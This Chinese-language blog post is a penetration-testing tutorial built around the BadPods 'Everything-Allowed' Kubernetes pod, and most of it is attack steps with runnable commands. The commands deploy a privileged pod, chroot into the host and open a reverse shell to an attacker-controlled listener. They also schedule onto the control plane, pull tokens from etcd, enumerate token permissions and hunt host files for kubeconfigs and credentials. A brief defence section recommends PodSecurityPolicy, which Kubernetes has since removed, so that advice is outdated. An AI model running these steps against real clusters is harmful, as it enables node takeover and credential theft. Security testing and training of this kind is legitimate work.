K8s安全攻防必备:BadPods项目中的Everything-Allowed Pod渗透技巧

发布时间:2026/8/10 19:16:42
K8s安全攻防必备:BadPods项目中的Everything-Allowed Pod渗透技巧
K8s安全攻防必备BadPods项目中的Everything-Allowed Pod渗透技巧【免费下载链接】badPodsA collection of manifests that will create pods with elevated privileges.项目地址: https://gitcode.com/gh_mirrors/ba/badPodsBadPods是一个专注于Kubernetes安全研究的开源项目提供了一系列包含高权限配置的Pod清单文件。其中Everything-Allowed Pod作为最危险的配置之一能够挂载主机文件系统并获取完整的主机命名空间和权限是K8s渗透测试中的关键武器。本文将带你深入了解这种高危Pod的渗透技巧帮助安全人员快速掌握K8s集群攻防要点。一、Everything-Allowed Pod的核心危害Everything-Allowed Pod通过精心设计的配置实现了对主机系统的完全控制。其核心特性包括主机文件系统挂载将主机根目录挂载到Pod内部特权模式获得容器内的root权限完整命名空间访问包括PID、网络、IPC等主机命名空间全部Linux capabilities不受限制的系统调用能力这种配置下的Pod就像打开了通往主机系统的五扇大门攻击者可以轻松突破容器隔离直接获取节点root权限。二、快速部署与访问技巧2.1 一键创建Exec类型Pod通过kubectl直接部署预配置的清单文件git clone https://gitcode.com/gh_mirrors/ba/badPods cd badPods kubectl apply -f manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml部署完成后立即获取交互式shellkubectl exec -it everything-allowed-exec-pod -- chroot /host bash提示除了独立Pod项目还提供了Deployment、StatefulSet、DaemonSet等多种资源类型的配置位于manifests/everything-allowed/目录下。2.2 反向Shell部署方法当无法直接exec到Pod时可使用反向shell配置本地启动监听ncat --ssl -vlp 3116部署反向shell PodHOST你的IP PORT3116 envsubst ./manifests/everything-allowed/pod/everything-allowed-revshell-pod.yaml | kubectl apply -f -接收到shell后立即切换根目录chroot /host三、后渗透阶段关键操作3.1 控制平面节点突破成功获取worker节点权限后下一步是尝试部署到控制平面节点查看集群节点kubectl get nodes编辑Pod清单添加节点选择器nodeName: k8s-control-plane重新部署Pod若成功调度到控制平面可直接访问etcd数据库strings /var/lib/etcd/member/snap/db | grep eyJhbGciOiJ3.2 利用can-they.sh脚本枚举权限项目提供的scripts/can-they.sh脚本可自动检测所有Pod令牌的权限# 复制脚本到Pod kubectl cp scripts/can-they.sh everything-allowed-exec-pod:/ # 赋予执行权限 kubectl exec -it everything-allowed-exec-pod -- chmod x /can-they.sh # 检查是否有权限列出kube-system命名空间的secret kubectl exec -it everything-allowed-exec-pod -- /can-they.sh -i list secrets -n kube-system典型输出会显示哪些令牌具有高权限例如Token Location: /host/var/lib/kubelet/pods/c888d3a8-743e-41dd-8464-91b3e6628174/volumes/kubernetes.io~secret/gatekeeper-admin-token-jmw8z/token Can I list secrets -n kube-system? yes3.3 敏感信息挖掘路径在主机文件系统中搜索关键配置# 查找kubeconfig文件 find /host -name kubeconfig 2/dev/null # 搜索可能的凭证文件 grep -R current-context /host/root/ /host/home/ 2/dev/null四、防御策略与安全建议虽然本文聚焦攻击技巧但防御同样重要。针对Everything-Allowed Pod的防护措施包括启用PodSecurityPolicy限制特权容器创建实施RBAC最小权限原则严格控制Service Account权限节点污点与容忍度防止非授权Pod调度到控制平面定期安全审计使用kubectl get pods --all-namespaces -o json | jq .items[].spec.containers[].securityContext检查危险配置五、总结Everything-Allowed Pod作为BadPods项目中的核心组件展示了Kubernetes配置不当可能导致的严重安全风险。通过本文介绍的方法安全人员可以快速评估集群安全性而管理员则能针对性地强化防御措施。记住K8s安全的关键在于最小权限原则——任何时候都不应让Pod获得超出其功能需求的权限。想要深入学习更多K8s安全攻防技巧可以参考项目中的manifests/everything-allowed/README.md文档其中包含了更详细的后渗透操作指南和参考资源。【免费下载链接】badPodsA collection of manifests that will create pods with elevated privileges.项目地址: https://gitcode.com/gh_mirrors/ba/badPods创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考